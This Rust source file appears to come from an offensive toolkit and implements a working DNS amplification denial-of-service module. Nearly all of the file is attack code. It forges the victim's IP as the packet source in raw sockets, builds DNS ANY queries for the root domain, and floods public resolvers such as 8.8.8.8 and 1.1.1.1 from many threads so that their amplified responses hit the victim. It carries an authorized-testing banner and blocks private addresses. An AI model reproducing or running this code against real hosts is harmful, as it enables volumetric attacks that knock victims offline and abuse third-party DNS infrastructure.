s-b-repo-rustsploit/src/modules/exploits/dos/dns_amplification.rs

//! DNS Amplification DoS Module
//!
//! Sends spoofed DNS ANY queries to open resolvers with the victim's IP as source,
//! causing amplified responses (~100x) directed at the victim.
//! Uses raw UDP sockets with IP_HDRINCL for source IP spoofing.
//! FOR AUTHORIZED TESTING ONLY.

use crate::native::dos_utils::{FastRng, checksum_16, sum_16};
use anyhow::{anyhow, Context, Result};
use colored::*;
use socket2::{Domain, Protocol, Socket, Type};
use std::net::Ipv4Addr;
use std::os::unix::io::AsRawFd;
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::{Duration, Instant};

use crate::module::{ModuleCtx, ModuleOutcome};
use crate::native::network::{make_dst_sockaddr, send_one_raw};
use crate::utils::{
    normalize_target, cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
};

// ============================================================================
// CONSTANTS
// ============================================================================

const IPV4_HEADER_LEN: usize = 20;
const UDP_HEADER_LEN: usize = 8;
const DNS_PORT: u16 = 53;
const DEFAULT_TTL: u8 = 64;
const IPPROTO_UDP: u8 = 17;
const STATS_BATCH_SIZE: u64 = 5000;
const SEND_BUFFER_SIZE: usize = 4 * 1024 * 1024;
const AMPLIFICATION_FACTOR: f64 = 100.0;

const DEFAULT_RESOLVERS: &[&str] = &[
    "8.8.8.8",
    "8.8.4.4",
    "1.1.1.1",
    "1.0.0.1",
    "208.67.222.222",
    "208.67.220.220",
    "9.9.9.9",
    "149.112.112.112",
];

// ============================================================================
// CONFIGURATION
// ============================================================================

#[derive(Clone, Debug)]
struct DnsAmpConfig {
    victim_ip: Ipv4Addr,
    resolvers: Vec<Ipv4Addr>,
    query_domain: String,
    worker_count: usize,
    duration_secs: u64,
    verbose: bool,
}

// ============================================================================
// FAST RNG (XorShift128+)
// ============================================================================



// ============================================================================
// DNS QUERY BUILDER
// ============================================================================

/// Build a DNS ANY query for the given domain in wire format.
/// For root domain ".", this produces a 17-byte payload.
fn build_dns_query(domain: &str, txid: u16) -> Vec<u8> {
    let mut query = Vec::with_capacity(64);

    // Transaction ID (2 bytes)
    query.push((txid >> 8) as u8);
    query.push(txid as u8);

    // Flags: 0x0100 (standard query, recursion desired)
    query.push(0x01);
    query.push(0x00);

    // Questions: 1
    query.push(0x00);
    query.push(0x01);

    // Answer RRs: 0
    query.push(0x00);
    query.push(0x00);

    // Authority RRs: 0
    query.push(0x00);
    query.push(0x00);

    // Additional RRs: 0
    query.push(0x00);
    query.push(0x00);

    // QNAME: encode domain labels
    let trimmed = domain.trim().trim_end_matches('.');
    if trimmed.is_empty() {
        // Root domain "."
        query.push(0x00);
    } else {
        for label in trimmed.split('.') {
            let label_len = match u8::try_from(label.len()) {
                Ok(v) if v <= 63 => v,
                _ => {
                    tracing::warn!("DNS label too long ({} bytes, max 63), truncating", label.len());
                    63
                }
            };
            query.push(label_len);
            query.extend_from_slice(&label.as_bytes()[..label_len as usize]);
        }
        query.push(0x00); // Terminating null label
    }

    // QTYPE: 0x00FF (ANY)
    query.push(0x00);
    query.push(0xFF);

    // QCLASS: 0x0001 (IN)
    query.push(0x00);
    query.push(0x01);

    query
}

// ============================================================================
// RAW PACKET BUILDER (IP + UDP + DNS query)
// ============================================================================

struct PacketBuilder {
    template: Vec<u8>,
    udp_pseudo_partial_base: u32,
}

impl PacketBuilder {
    fn new(victim_ip: Ipv4Addr, domain: &str) -> Result<Self> {
        // Build a template DNS query with placeholder txid
        let dns_query = build_dns_query(domain, 0x0000);
        let dns_payload_len = dns_query.len();
        let total_len = IPV4_HEADER_LEN + UDP_HEADER_LEN + dns_payload_len;
        let mut template = vec![0u8; total_len];

        let src_bytes = victim_ip.octets();

        // IP header (static fields)
        template[0] = 0x45;                                    // Version=4, IHL=5
        template[1] = 0;                                       // DSCP/ECN
        template[2] = (total_len >> 8) as u8;                  // Total length hi
        template[3] = total_len as u8;                         // Total length lo
        template[6] = 0;                                       // Flags
        template[7] = 0;
        template[8] = DEFAULT_TTL;                             // TTL
        template[9] = IPPROTO_UDP;                             // Protocol

        // Source IP = victim (spoofed)
        template[12] = src_bytes[0];
        template[13] = src_bytes[1];
        template[14] = src_bytes[2];
        template[15] = src_bytes[3];

        // Dest IP filled per-packet (per resolver)

        // UDP header
        let udp = &mut template[IPV4_HEADER_LEN..];
        // Source port set per-packet (random ephemeral)
        udp[2] = (DNS_PORT >> 8) as u8;                        // Dest port hi (53)
        udp[3] = DNS_PORT as u8;                                // Dest port lo
        let udp_len = (UDP_HEADER_LEN + dns_payload_len) as u16;
        udp[4] = (udp_len >> 8) as u8;                         // UDP length hi
        udp[5] = udp_len as u8;                                // UDP length lo
        // [6..8] = UDP checksum (set per-packet)

        // DNS query payload
        template[IPV4_HEADER_LEN + UDP_HEADER_LEN..].copy_from_slice(&dns_query);

        // Pre-compute partial pseudo-header: src_ip + protocol + udp_length
        let mut partial: u32 = 0;
        partial += u16::from_be_bytes([src_bytes[0], src_bytes[1]]) as u32;
        partial += u16::from_be_bytes([src_bytes[2], src_bytes[3]]) as u32;
        partial += IPPROTO_UDP as u32;
        partial += udp_len as u32;

        Ok(Self {
            template,
            udp_pseudo_partial_base: partial,
        })
    }

    /// Build a spoofed DNS query packet targeting a specific resolver.
    #[inline]
    fn build_into(&self, buf: &mut [u8], resolver: Ipv4Addr, rng: &mut FastRng) -> usize {
        let len = self.template.len();
        buf[..len].copy_from_slice(&self.template);

        let dst_bytes = resolver.octets();
        let src_port = rng.gen_ephemeral_port();
        let ip_id = rng.next_u16();
        let txid = rng.next_u16();

        // Patch IP header — dest IP (resolver)
        buf[4] = (ip_id >> 8) as u8;
        buf[5] = ip_id as u8;
        buf[16] = dst_bytes[0];
        buf[17] = dst_bytes[1];
        buf[18] = dst_bytes[2];
        buf[19] = dst_bytes[3];

        // IP checksum
        buf[10] = 0;
        buf[11] = 0;
        let ip_cksum = checksum_16(&buf[..IPV4_HEADER_LEN]);
        buf[10] = (ip_cksum >> 8) as u8;
        buf[11] = ip_cksum as u8;

        // Patch UDP header — source port
        buf[IPV4_HEADER_LEN] = (src_port >> 8) as u8;
        buf[IPV4_HEADER_LEN + 1] = src_port as u8;

        // Patch DNS transaction ID
        let dns_offset = IPV4_HEADER_LEN + UDP_HEADER_LEN;
        buf[dns_offset] = (txid >> 8) as u8;
        buf[dns_offset + 1] = txid as u8;

        // UDP checksum
        buf[IPV4_HEADER_LEN + 6] = 0;
        buf[IPV4_HEADER_LEN + 7] = 0;
        let mut sum = self.udp_pseudo_partial_base;
        sum += u16::from_be_bytes([dst_bytes[0], dst_bytes[1]]) as u32;
        sum += u16::from_be_bytes([dst_bytes[2], dst_bytes[3]]) as u32;
        let udp_data = &buf[IPV4_HEADER_LEN..len];
        sum = sum_16(udp_data, sum);
        while (sum >> 16) != 0 {
            sum = (sum & 0xFFFF) + (sum >> 16);
        }
        let udp_cksum = !(sum as u16);
        let udp_cksum = if udp_cksum == 0 { 0xFFFF } else { udp_cksum };
        buf[IPV4_HEADER_LEN + 6] = (udp_cksum >> 8) as u8;
        buf[IPV4_HEADER_LEN + 7] = udp_cksum as u8;

        len
    }

    
    }

// ============================================================================
// RAW SOCKET HELPERS
// ============================================================================

fn create_raw_socket() -> Result<Socket> {
    let socket = Socket::new(
        Domain::IPV4,
        Type::RAW,
        Some(Protocol::from(libc::IPPROTO_RAW)),
    ).context("Failed to create raw socket (requires root)")?;

    socket.set_header_included_v4(true)
        .context("Failed to set IP_HDRINCL")?;

    if let Err(e) = socket.set_send_buffer_size(SEND_BUFFER_SIZE) { eprintln!("[!] Failed to set send buffer size: {}", e); }
    crate::native::network::apply_raw_send_timeout(&socket);

    Ok(socket)
}

// ============================================================================
// WORKER THREAD
// ============================================================================

struct WorkerStats {
    packets: u64,
    bytes: u64,
}

fn worker_thread(
    wctx: super::WorkerCtx,
    config: DnsAmpConfig,
) {
    let super::WorkerCtx { worker_id, raw_fd, stop_flag, global_packets, global_bytes, global_errors, start_time } = wctx;
    let builder = match PacketBuilder::new(config.victim_ip, &config.query_domain) {
        Ok(b) => b,
        Err(e) => {
            if worker_id == 0 {
                crate::meprintln!("\n{}", format!("[!] Packet builder error: {}", e).red());
            }
            return;
        }
    };

    let mut rng = FastRng::with_thread_seed(worker_id);
    let duration = Duration::from_secs(config.duration_secs);
    let pkt_size = builder.template.len();
    let pkt_size_u64 = pkt_size as u64;
    let mut stats = WorkerStats { packets: 0, bytes: 0 };
    let mut local_errs: u64 = 0;
    let mut consecutive_errs: u64 = 0;
    let mut error_logged = false;
    let mut buf = vec![0u8; pkt_size];
    let resolver_count = config.resolvers.len();
    let mut resolver_idx: usize = worker_id % resolver_count;

    // Pre-compute destination sockaddrs
    let dst_addrs: Vec<libc::sockaddr_in> = config.resolvers.iter()
        .map(|ip| make_dst_sockaddr(*ip))
        .collect();

    loop {
        if stop_flag.load(Ordering::Relaxed) || start_time.elapsed() >= duration {
            break;
        }

        // Round-robin through resolvers
        let resolver = config.resolvers[resolver_idx];

        builder.build_into(&mut buf, resolver, &mut rng);

        match send_one_raw(raw_fd, &buf[..pkt_size], &dst_addrs[resolver_idx]) {
            Ok(_) => {
                stats.packets += 1;
                stats.bytes += pkt_size_u64;
                consecutive_errs = 0;
            }
            Err(e) => {
                local_errs += 1;
                consecutive_errs += 1;

                let kind = e.raw_os_error().unwrap_or(0);

                // EPERM / EACCES: fatal, stop everything
                if kind == libc::EPERM || kind == libc::EACCES {
                    crate::meprintln!("\n{}", format!(
                        "[!] Worker {}: Permission denied (errno {}). Root privileges required.",
                        worker_id, kind
                    ).red().bold());
                    stop_flag.store(true, Ordering::Relaxed);
                    break;
                }

                // ENOBUFS / ENOMEM: transient back-pressure, sleep briefly
                if kind == libc::ENOBUFS || kind == libc::ENOMEM {
                    std::thread::sleep(Duration::from_micros(200));
                }

                // Log first error per worker in verbose mode
                if config.verbose && !error_logged {
                    crate::meprintln!("\n{}", format!(
                        "[!] Worker {}: send error (errno {}): {}",
                        worker_id, kind, e
                    ).yellow());
                    error_logged = true;
                }

                // Too many consecutive errors: give up
                if consecutive_errs >= 500 {
                    crate::meprintln!("\n{}", format!(
                        "[!] Worker {}: 500 consecutive send errors, stopping.",
                        worker_id
                    ).red());
                    break;
                }
            }
        }

        resolver_idx = (resolver_idx + 1) % resolver_count;

        // Batch flush global stats
        if stats.packets >= STATS_BATCH_SIZE {
            global_packets.fetch_add(stats.packets, Ordering::Relaxed);
            global_bytes.fetch_add(stats.bytes, Ordering::Relaxed);
            global_errors.fetch_add(local_errs, Ordering::Relaxed);
            stats.packets = 0;
            stats.bytes = 0;
            local_errs = 0;
        }
    }

    if stats.packets > 0 || local_errs > 0 {
        global_packets.fetch_add(stats.packets, Ordering::Relaxed);
        global_bytes.fetch_add(stats.bytes, Ordering::Relaxed);
        global_errors.fetch_add(local_errs, Ordering::Relaxed);
    }
}

/// Parse resolver list from a comma-separated string or a file path (one IP per line).
fn parse_resolver_list(input: &str) -> Result<Vec<Ipv4Addr>> {
    let trimmed = input.trim();

    // Check if input looks like a file path
    if std::path::Path::new(trimmed).is_file() {
        let contents = std::fs::read_to_string(trimmed)
            .context("Failed to read resolver list file")?;
        let mut addrs = Vec::new();
        for line in contents.lines() {
            let line = line.trim();
            if line.is_empty() || line.starts_with('#') {
                continue;
            }
            let ip: Ipv4Addr = line.parse()
                .map_err(|e| anyhow!("Invalid IP in file: '{}': {e}", line))?;
            addrs.push(ip);
        }
        return Ok(addrs);
    }

    // Otherwise treat as comma-separated
    let mut addrs = Vec::new();
    for part in trimmed.split(',') {
        let part = part.trim();
        if !part.is_empty() {
            let ip: Ipv4Addr = part.parse()
                .map_err(|e| anyhow!("Invalid resolver IP: '{}': {e}", part))?;
            addrs.push(ip);
        }
    }
    Ok(addrs)
}

// ============================================================================
// MAIN EXECUTION
// ============================================================================

pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
    let initial_target = ctx
        .target
        .as_single()
        .context("dns_amplification requires a single-host target")?;
    crate::utils::require_root("dns_amplification (raw socket for spoofed source)")?;
    if crate::api::is_blocked_target(initial_target) {
        crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", initial_target).red().bold());
        return Ok(ModuleOutcome::ok());
    }

    display_banner();
    let config = gather_config(initial_target).await?;
    execute_attack(config, ctx.cancel.clone()).await?;
    Ok(ModuleOutcome::ok())
}

fn display_banner() {
    if crate::utils::is_batch_mode() { return; }
    crate::mprintln!("{}", r#"
╔══════════════════════════════════════════════════════════════╗
║   DNS Amplification DoS Module                               ║
║   Spoofed DNS ANY Queries (~100x Amplification)              ║
║   Raw UDP with IP_HDRINCL                                    ║
║   FOR AUTHORIZED TESTING ONLY                                ║
╚══════════════════════════════════════════════════════════════╝
"#.red().bold());
}

async fn gather_config(initial_target: &str) -> Result<DnsAmpConfig> {
    crate::mprintln!("{}", "=== Configuration ===".bold());

    // Target = victim IP
    let target_input = if initial_target.trim().is_empty() {
        cfg_prompt_required("target", "Victim IP (target that receives amplified DNS responses)").await?
    } else {
        crate::mprintln!("{}", format!("[*] Using victim: {}", initial_target).cyan());
        initial_target.to_string()
    };

    let normalized = normalize_target(&target_input)?;

    // P1-4: refuse (or force explicit authorization for) DoS against
    // private / loopback / cloud-metadata addresses.
    crate::utils::network::assert_dos_target_authorized(&normalized).await?;

    let victim_ip: Ipv4Addr = normalized.parse()
        .map_err(|e| anyhow!("Victim must be a valid IPv4 address: {e}"))?;

    // Resolvers
    let default_resolver_str = DEFAULT_RESOLVERS.join(",");
    let resolvers_input = cfg_prompt_default(
        "resolvers",
        "DNS resolvers (comma-separated IPs, file path, or blank for defaults)",
        &default_resolver_str,
    ).await?;

    let resolvers = if resolvers_input.trim().is_empty() || resolvers_input == default_resolver_str {
        DEFAULT_RESOLVERS.iter()
            .filter_map(|s| s.parse::<Ipv4Addr>().ok())
            .collect::<Vec<_>>()
    } else {
        parse_resolver_list(&resolvers_input)?
    };

    if resolvers.is_empty() {
        return Err(anyhow!("At least one DNS resolver is required"));
    }

    // Query domain
    let query_domain = cfg_prompt_default(
        "query_domain",
        "Query domain (default '.' for root, maximizes amplification)",
        ".",
    ).await?;

    let cpu_count = num_cpus::get();
    let workers_input = cfg_prompt_default(
        "workers",
        &format!("Worker threads (recommended: {})", cpu_count),
        &cpu_count.to_string(),
    ).await?;
    let worker_count: usize = workers_input.parse()
        .map_err(|e| anyhow!("Invalid number for workers: {e}"))?;
    if worker_count == 0 {
        return Err(anyhow!("Worker count must be > 0"));
    }

    let duration_input = cfg_prompt_required("duration", "Duration (seconds)").await?;
    let duration_secs: u64 = duration_input.parse()
        .map_err(|e| anyhow!("Invalid duration: {e}"))?;
    if duration_secs == 0 {
        return Err(anyhow!("Duration must be > 0"));
    }

    let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;

    // Build a sample query to show size
    let sample_query = build_dns_query(&query_domain, 0x0000);

    // Summary
    crate::mprintln!("\n{}", "=== Attack Configuration ===".bold());
    crate::mprintln!("  Victim IP:        {}", victim_ip);
    crate::mprintln!("  DNS Resolvers:    {} targets", resolvers.len());
    for r in &resolvers {
        crate::mprintln!("    - {}:{}", r, DNS_PORT);
    }
    crate::mprintln!("  Query Domain:     \"{}\"", query_domain);
    crate::mprintln!("  Query Size:       {} bytes", sample_query.len());
    crate::mprintln!("  Workers:          {} threads", worker_count);
    crate::mprintln!("  Duration:         {}s", duration_secs);
    crate::mprintln!("  Amplification:    ~{:.0}x", AMPLIFICATION_FACTOR);

    crate::mprintln!("\n{}", "[!] Spoofed DNS ANY queries will be sent to open resolvers".yellow().bold());
    crate::mprintln!("{}", "[!] Amplified responses (~100x) will be directed at the victim".yellow());

    if !cfg_prompt_yes_no("confirm", "\nProceed with attack?", true).await? {
        return Err(anyhow!("Attack cancelled by user"));
    }

    Ok(DnsAmpConfig {
        victim_ip,
        resolvers,
        query_domain,
        worker_count,
        duration_secs,
        verbose,
    })
}

async fn execute_attack(mut config: DnsAmpConfig, cancel: tokio_util::sync::CancellationToken) -> Result<()> {
    crate::mprintln!("\n{}", "[*] Starting DNS Amplification Attack...".yellow().bold());

    // P2: clamp worker count / raise RLIMIT_NOFILE so we can't exhaust the
    // operator's own host. Sockets are pooled (1 fd per worker pool slot),
    // but every worker is its own OS thread so RLIMIT_NPROC also matters.
    let (clamped, _) = crate::native::network::ensure_dos_capacity(
        "dns_amplification",
        config.worker_count,
        1,
    );
    config.worker_count = clamped;

    // Create shared socket pool
    let num_sockets = config.worker_count
        .min(num_cpus::get().max(1) * 2)
        .min(32);

    let mut sockets: Vec<Socket> = Vec::with_capacity(num_sockets);
    let mut fds: Vec<i32> = Vec::with_capacity(num_sockets);
    for i in 0..num_sockets {
        match create_raw_socket() {
            Ok(s) => {
                fds.push(s.as_raw_fd());
                sockets.push(s);
            }
            Err(e) => {
                if i == 0 {
                    return Err(anyhow!("Failed to create raw socket: {}. Are you running as root?", e));
                }
                crate::meprintln!("{}", format!(
                    "[!] Could only create {} of {} sockets: {}", i, num_sockets, e
                ).yellow());
                break;
            }
        }
    }

    if fds.is_empty() {
        return Err(anyhow!("No raw sockets could be created. Are you running as root?"));
    }

    crate::mprintln!("[*] Created {} shared raw socket(s).", fds.len());

    // Pre-flight test: build one packet and try to send it
    {
        let builder = PacketBuilder::new(config.victim_ip, &config.query_domain)?;
        let mut test_buf = vec![0u8; builder.template.len()];
        let mut rng = FastRng::with_thread_seed(0);
        let pkt_size = builder.build_into(&mut test_buf, config.resolvers[0], &mut rng);
        let dst = make_dst_sockaddr(config.resolvers[0]);
        if let Err(e) = send_one_raw(fds[0], &test_buf[..pkt_size], &dst) {
            let kind = e.raw_os_error().unwrap_or(0);
            return Err(anyhow!(
                "Pre-flight send failed (errno {}): {}. Check root privileges, kernel raw socket support, and that the resolver {} is reachable.",
                kind, e, config.resolvers[0]
            ));
        }
        crate::mprintln!("{}", "[*] Pre-flight send succeeded.".green());
    }

    let stop_flag = Arc::new(AtomicBool::new(false));
    let packets_sent = Arc::new(AtomicU64::new(0));
    let bytes_sent = Arc::new(AtomicU64::new(0));
    let errors_total = Arc::new(AtomicU64::new(0));

    crate::mprintln!("[*] Spawning {} worker threads...", config.worker_count);

    let start_time = Instant::now();
    let duration = Duration::from_secs(config.duration_secs);

    let mut handles = Vec::with_capacity(config.worker_count);
    for worker_id in 0..config.worker_count {
        let config = config.clone();
        let stop = stop_flag.clone();
        let pkts = packets_sent.clone();
        let bts = bytes_sent.clone();
        let errs = errors_total.clone();
        let worker_fd = fds[worker_id % fds.len()];

        match thread::Builder::new()
            .stack_size(128 * 1024)
            .spawn(move || {
                worker_thread(super::WorkerCtx { worker_id, raw_fd: worker_fd, stop_flag: stop, global_packets: pkts, global_bytes: bts, global_errors: errs, start_time }, config);
            })
        {
            Ok(handle) => handles.push(handle),
            Err(e) => {
                crate::meprintln!("{}", format!(
                    "[!] Failed to spawn worker {}: {}", worker_id, e
                ).red());
                if handles.is_empty() {
                    // Clean up sockets before returning
                    drop(sockets);
                    return Err(anyhow!("Could not spawn any worker threads: {}", e));
                }
                break;
            }
        }
    }

    crate::mprintln!("{}", "[*] Attack started!".green().bold());

    // Stats printer
    let stats_stop = stop_flag.clone();
    let stats_pkts = packets_sent.clone();
    let stats_bytes = bytes_sent.clone();
    let stats_errs = errors_total.clone();
    let resolver_count = config.resolvers.len() as u64;
    let dns_payload_len = build_dns_query(&config.query_domain, 0).len();
    let stats_task = tokio::spawn(async move {
        while !stats_stop.load(Ordering::Relaxed) {
            tokio::time::sleep(Duration::from_secs(2)).await;
            let pkts = stats_pkts.load(Ordering::Relaxed);
            let bytes = stats_bytes.load(Ordering::Relaxed);
            let errs = stats_errs.load(Ordering::Relaxed);
            let elapsed = start_time.elapsed().as_secs_f64();
            let rate = if elapsed > 0.0 { pkts as f64 / elapsed } else { 0.0 };
            let est_amplified_mb = (bytes as f64 * AMPLIFICATION_FACTOR) / (1024.0 * 1024.0);

            crate::mprint!("\r{}", format!(
                "[*] Queries: {:>10} | Sent: {:>8.2} MB | Est. Amplified: {:>10.2} MB | Resolvers: {} | Rate: {:>8.0} pkt/s | Errs: {}   ",
                pkts, bytes as f64 / (1024.0 * 1024.0), est_amplified_mb, resolver_count, rate, errs
            ).dimmed());
            if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush failed: {}", e); }
        }
    });

    tokio::select! {
        _ = tokio::time::sleep(duration) => {}
        _ = cancel.cancelled() => {
            crate::meprintln!("[*] DNS amplification cancelled by user");
        }
    }
    stop_flag.store(true, Ordering::SeqCst);

    for handle in handles {
        if let Err(e) = handle.join() { eprintln!("[!] Thread join failed: {:?}", e); }
    }
    stats_task.abort();

    let total_pkts = packets_sent.load(Ordering::Relaxed);
    let total_bytes = bytes_sent.load(Ordering::Relaxed);
    let total_errs = errors_total.load(Ordering::Relaxed);
    let elapsed_secs = start_time.elapsed().as_secs_f64();
    let est_amplified_bytes = total_bytes as f64 * AMPLIFICATION_FACTOR;

    crate::mprintln!("\n\n{}", "=== Attack Complete ===".green().bold());
    crate::mprintln!("  Duration:                {:.2}s", elapsed_secs);
    crate::mprintln!("  Queries Sent:            {}", total_pkts);
    crate::mprintln!("  Query Payload:           {} bytes (DNS ANY for \"{}\")", dns_payload_len, config.query_domain);
    crate::mprintln!("  Data Sent:               {:.2} MB", total_bytes as f64 / (1024.0 * 1024.0));
    crate::mprintln!("  Est. Amplified Volume:   {:.2} MB ({:.2} GB)",
        est_amplified_bytes / (1024.0 * 1024.0),
        est_amplified_bytes / (1024.0 * 1024.0 * 1024.0));
    crate::mprintln!("  Amplification Factor:    ~{:.0}x", AMPLIFICATION_FACTOR);
    crate::mprintln!("  Send Errors:             {}", total_errs);
    if elapsed_secs > 0.0 {
        crate::mprintln!("  Avg Rate:                {:.0} pkt/s", total_pkts as f64 / elapsed_secs);
    }

    if total_pkts == 0 && total_errs > 0 {
        crate::meprintln!("\n{}", format!(
            "[!] WARNING: No packets were sent successfully but {} errors occurred. Check permissions and network configuration.",
            total_errs
        ).red().bold());
    }

    // Keep sockets alive until all workers have finished; drop them now
    drop(sockets);

    Ok(())
}

pub fn info() -> crate::module_info::ModuleInfo {
    crate::module_info::ModuleInfo {
        name: "DNS Amplification".to_string(),
        description: "Sends spoofed DNS ANY queries to open resolvers, causing amplified responses (~100x) directed at the victim via raw UDP with IP_HDRINCL.".to_string(),
        authors: vec!["RustSploit Contributors".to_string()],
        references: vec![
            "https://www.us-cert.gov/ncas/alerts/TA13-088A".to_string(),
        ],
        disclosure_date: None,
        rank: crate::module_info::ModuleRank::Normal,
        default_port: None,
    }
}

crate::register_native_module!(crate::module::Category::Exploits, "dos/dns_amplification", native);